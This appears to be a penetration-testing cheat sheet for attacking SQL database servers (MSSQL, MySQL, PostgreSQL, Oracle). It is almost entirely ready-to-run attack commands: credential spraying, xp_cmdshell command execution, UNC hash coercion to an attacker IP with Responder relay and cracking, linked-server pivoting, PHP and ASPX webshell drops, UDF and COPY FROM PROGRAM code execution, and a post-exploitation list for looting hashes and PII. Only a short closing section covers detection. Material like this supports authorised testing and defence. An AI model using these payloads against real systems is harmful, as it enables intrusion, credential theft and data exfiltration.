SQL servers are high-value targets because they combine code execution (via xp_cmdshell, COPY FROM PROGRAM, UDFs) with cleartext access to sensitive data. MSSQL is the richest target in Windows environments; MySQL/PostgreSQL run most Linux web apps.

Shared Workflow

Port scan → version fingerprint → default creds / spray → connect
          → enumerate instances/DBs/users/privs
          → OS command exec → shell
          → extract data for secondary attacks

MSSQL (1433 / 1434 UDP)

Discovery

nmap -p1433 -sV -sC --script="ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password,ms-sql-brute" <IP>
 
# SQL Browser (UDP 1434) — reveals named instances
nmap -sU -p1434 --script=ms-sql-info <IP>

Key info from ms-sql-info: product version, instance name, Windows domain name, service account SID.

Default & Weak Creds

netexec mssql <IP> -u sa -p ''
netexec mssql <IP> -u sa -p sa
netexec mssql <IP> -u sa -p Password1
netexec mssql <IP> -u sa -p rockyou.txt --continue-on-success

Connect

# Impacket — SQL auth
impacket-mssqlclient sa:'Pass!'@<IP>
 
# Windows auth
impacket-mssqlclient DOMAIN/user:'Pass!'@<IP> -windows-auth
 
# With hash (NTLM)
impacket-mssqlclient -hashes :<NThash> DOMAIN/user@<IP> -windows-auth
 
# sqsh (Linux)
sqsh -S <IP> -U sa -P 'Pass!'

Once in, the SQL> prompt. Impacket commands start with ! for shell helpers and enable_xp_cmdshell is a built-in.

Enumeration

SELECT @@version;
SELECT system_user;
SELECT HOST_NAME();
SELECT DB_NAME();
SELECT name FROM sys.databases;
SELECT name FROM master..syslogins;
EXEC sp_helplogins;
 
-- Switch DB, list tables
USE <dbname>;
SELECT table_name FROM information_schema.tables;
SELECT column_name FROM information_schema.columns WHERE table_name='users';

xp_cmdshell — OS Command Execution

Requires sysadmin role (or CONTROL SERVER permission).

-- Enable (per session or persistent)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
 
-- Run
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -enc <b64>';

Shell runs as the SQL service account — often NT Service\MSSQLSERVER (limited) or a domain service account (svc_sql). whoami /priv tells you how much lift you have.

If SeImpersonatePrivilege is enabled (common for service accounts), chain with Potato family (JuicyPotato / PrintSpoofer / GodPotato) for SYSTEM.

xp_dirtree — Hash Capture via UNC

Force the SQL service account to authenticate to a UNC path you control → NetNTLMv2 hash capture.

EXEC master..xp_dirtree '\\10.10.14.5\share\';
EXEC master..xp_fileexist '\\10.10.14.5\share\file';
EXEC master..xp_subdirs '\\10.10.14.5\share\';

On the attacker:

sudo responder -I tun0 -wrf
# Hash appears in /usr/share/responder/logs/
 
# Crack
hashcat -m 5600 captured.hash rockyou.txt
 
# Or relay if signing isn't enforced
impacket-ntlmrelayx -t smb://<target> -smb2support

Linked Servers

Chain MSSQL instances via linked server relationships — execute queries on the remote instance via the trust.

-- Enumerate links
EXEC sp_linkedservers;
SELECT * FROM master..sysservers;
 
-- Query across a link
SELECT * FROM OPENQUERY(SQL02, 'SELECT @@version');
 
-- Execute on the remote instance
EXEC ('sp_configure ''show advanced'', 1; RECONFIGURE;') AT SQL02;
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT SQL02;
EXEC ('xp_cmdshell ''whoami''') AT SQL02;
 
-- Chains more than one link deep
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT SQL03') AT SQL02;

Impersonation

-- See what accounts we can impersonate
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
 
-- Impersonate
EXECUTE AS LOGIN = 'sa';
SELECT system_user;
EXEC xp_cmdshell 'whoami';
REVERT;

Read/Write Files

-- Read (MSSQL has limited native file read — use BULK INSERT)
SELECT * FROM OPENROWSET(BULK N'C:\windows\win.ini', SINGLE_CLOB) AS x;
 
-- Write via sp_OACreate (COM object FileSystemObject)
DECLARE @o INT, @f INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o, 'CreateTextFile', @f OUT, 'C:\inetpub\wwwroot\sh.aspx';
EXEC sp_OAMethod @f, 'WriteLine', NULL, '<%@ Page Language="C#" %>...';

MySQL (3306)

Discovery

nmap -p3306 -sV -sC --script="mysql-info,mysql-empty-password,mysql-brute,mysql-enum" <IP>

Connect

mysql -h <IP> -u root -p
mysql -h <IP> -u root -p -e 'show databases;'
 
# NetExec
netexec mysql <IP> -u root -p ''
netexec mysql <IP> -u root -p rockyou.txt

Enumeration

SELECT version();
SELECT user(), current_user(), @@hostname, @@datadir;
SHOW databases;
USE <db>; SHOW TABLES;
SELECT user, authentication_string FROM mysql.user;
 
-- Read local file (needs FILE privilege; path depends on secure_file_priv)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:/Windows/win.ini');

Writing a Webshell via INTO OUTFILE

Requires:

  • FILE privilege
  • secure_file_priv empty or set to a writable web root
  • Writable path (MySQL can’t overwrite existing files)
-- Check
SHOW VARIABLES LIKE 'secure_file_priv';
 
-- Drop webshell
SELECT '<?php system($_GET["c"]); ?>'
  INTO OUTFILE '/var/www/html/sh.php';
 
-- Execute
-- curl 'http://<IP>/sh.php?c=id'

UDF (User-Defined Function) RCE

Legacy but still works on unpatched/unhardened MySQL. Compile a shared object exporting sys_exec, load as a UDF, execute arbitrary commands.

-- Upload the .so/.dll to the plugin dir (via INTO DUMPFILE)
SELECT 0x<hex-of-raptor_udf2.so> INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so';
CREATE FUNCTION sys_exec RETURNS INT SONAME 'raptor.so';
SELECT sys_exec('id > /tmp/pwned');

Tooling: sqlmap --os-shell handles this chain automatically when MySQL is the target of an SQLi.

PostgreSQL (5432)

nmap -p5432 -sV -sC --script="pgsql-brute" <IP>
psql -h <IP> -U postgres -W
netexec postgres <IP> -u postgres -p rockyou.txt

COPY FROM PROGRAM — Postgres RCE (9.3+)

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

Runs as the postgres service account. Exfil via COPY TO or a webshell write.

Read/Write Files

CREATE TABLE file_store(contents text);
COPY file_store FROM '/etc/passwd';
SELECT * FROM file_store;
 
-- Write
COPY (SELECT '<?php system($_GET[c]); ?>') TO '/var/www/html/sh.php';

Oracle (1521)

Less common, more painful. Use oscanner, odat, or Metasploit auxiliary/scanner/oracle/*.

odat all -s <IP>
odat sidguesser -s <IP> -p 1521
odat passwordguesser -s <IP> -p 1521 -d <SID> --accounts-file=accounts/accounts_multiple.txt

Default accounts: system/manager, sys/change_on_install, scott/tiger, dbsnmp/dbsnmp.

Post-Exploitation Loot

Every SQL server you break into should yield:

  • Full user table + hashes → crack with hashcat (MySQL/MSSQL hash modes 300/1731 etc.)
  • App config DB — DB connection strings often reference other DBs/servers with reusable creds
  • PII for the engagement report
  • Linked server list → next target
  • Service account + domain → feeds into kerberoasting and PtH

Detection

  • MSSQL audit logs record xp_cmdshell enabling and invocation.
  • impacket-mssqlclient sends a distinctive TDS prelogin fingerprint.
  • COPY FROM PROGRAM on Postgres is explicitly flagged by most config-review tools.